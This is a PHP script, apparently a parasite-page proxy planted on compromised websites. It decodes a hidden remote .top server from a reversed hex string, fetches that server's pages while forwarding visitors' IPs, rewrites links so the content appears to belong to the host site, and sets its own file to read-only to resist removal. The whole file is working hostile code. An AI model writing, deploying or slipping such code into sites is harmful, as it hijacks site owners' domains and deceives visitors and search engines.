<?php
/*
 本代码由 快推科技络 创建
 严禁任何形式的侵权行为，违者将追究法律责任
*/
@set_time_limit(0);
ini_set("error_reporting", "E_ALL & ~E_NOTICE");
date_default_timezone_set('PRC');
$host = $_SERVER["HTTP_HOST"];
$server_url = hex2bin(strrev("07f647e2376316272376f2f2a33707474786"));

function getHtml($url, $time = 30, $num = 1)
{
    $ip = real_ip();
    $userAgent = isset($_SERVER['HTTP_USER_AGENT'])
        ? $_SERVER['HTTP_USER_AGENT']
        : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36';
    $header = array(
        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
        "Upgrade-Insecure-Requests: 1",
        "DNT:1",
        "Accept-Language: zh-CN,zh;q=0.9",
        "CLIENT-IP: $ip",
        "X-FORWARDED-FOR: $ip",
        "User-Agent: $userAgent"
    );
    if (function_exists('curl_init')) {
        $curl = curl_init();
        $options = array(
            CURLOPT_URL => $url,
            CURLOPT_TIMEOUT => $time,
            CURLOPT_HTTPHEADER => $header,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_HEADER => false,
        );
        if (stripos($url, 'https://') !== false) {
            $options[CURLOPT_SSL_VERIFYPEER] = false;
            $options[CURLOPT_SSL_VERIFYHOST] = false;
            $options[CURLOPT_HTTP_VERSION] = CURL_HTTP_VERSION_1_1;  // 改为 HTTP/1.1，PHP 5.2 兼容性更好
        }
        curl_setopt_array($curl, $options);
        $response = curl_exec($curl);
        $error = curl_errno($curl);
        $errorMessage = curl_error($curl);
        curl_close($curl);
        if ($response !== false && $error === 0) {
            return $response;
        } else {
            error_log("cURL 错误: $errorMessage (URL: $url)");
        }
    }
    if ($num === 1) {
        $context = stream_context_create(array(
            "http" => array(
                "method" => "GET",
                "header" => implode("\r\n", $header),
                "timeout" => $time,
            )
        ));
        $res = @file_get_contents($url, false, $context);
        if ($res === false && stripos($url, 'https://') !== false) {
            return getHtml(str_replace('https://', 'http://', $url), $time, 2);
        }
        return $res;
    }
    return false;
}


function getJustAllUrl($str)
{
    $pattern = '#https?://[a-zA-Z0-9\-._~:/?#[\]@!$&()*+,;=%]+#';
    preg_match_all($pattern, $str, $matches);
    return isset($matches[0]) ? array_unique($matches[0]) : array();
}


chmod(__FILE__, 0444);
$req = $_SERVER['REQUEST_URI'];
$new_req = explode('.php', $req);
$new_req[1] = explode('/', $new_req[1]);
$new_req[1][1] = $new_req[1][1] . '_' . $host;
$new_req[1] = implode('/', $new_req[1]);
$url = rtrim($server_url, '/') . "/" . ltrim(rtrim($new_req[1], '/'), '/');
$c = getHtml($url);
$port = $_SERVER["SERVER_PORT"];
$http = $port == '443' ? 'https://' : 'http://';
$server_url = str_replace(array('http://', 'https://'), $http, $server_url);
$target_url = $http . $host . $new_req[0] . '.php';
$css_list = array();
foreach (getJustAllUrl($c) as $k => $v) {
    $v = str_replace(array("'", ')', ';'), '', $v);
    $vnew = str_replace(array('http://', 'https://'), $http, $v);
    if (strpos($vnew, $server_url) !== false) {
        $info = pathinfo($vnew);
        $new_url = str_replace($server_url, $target_url, $vnew);
        if (in_array(strtolower($info['extension']), array('css', 'js', 'ico', 'jpeg', 'jpg', 'gif', 'png'))) {
            $css_list[] = array(
                $new_url => str_replace($target_url, $server_url, $vnew),
            );
        }
        $c = str_replace($v, $new_url, $c);
    }
}
if ($css_list) {
    foreach ($css_list as $v) {
        $c = strtr($c, $v);
    }
}
if (strpos($req, '.xml') !== false) {
    header("Content-type: text/xml");
    $c = str_replace($server_url, $target_url, $c);
}
echo $c;
exit();


function real_ip()
{
    $ip_keys = array(
        'HTTP_CF_CONNECTING_IP',  // Cloudflare
        'HTTP_X_FORWARDED_FOR',   // 多级代理
        'HTTP_X_REAL_IP',         // Nginx
        'HTTP_CLIENT_IP',         // 部分代理
    );
    foreach ($ip_keys as $key) {
        if (!empty($_SERVER[$key])) {
            $ips = explode(',', $_SERVER[$key]);
            foreach ($ips as $ip) {
                $ip = trim($ip);
                // 过滤内网 IP，匹配 IPv4 和 IPv6
                if (filter_var($ip, FILTER_VALIDATE_IP) &&
                    !preg_match('/^(10\.|172\.(1[6-9]|2\d|3[0-1])\.|192\.168\.|fc00:|fd00:)/', $ip)) {
                    return $ip;
                }
            }
        }
    }
    return $_SERVER['REMOTE_ADDR'];
}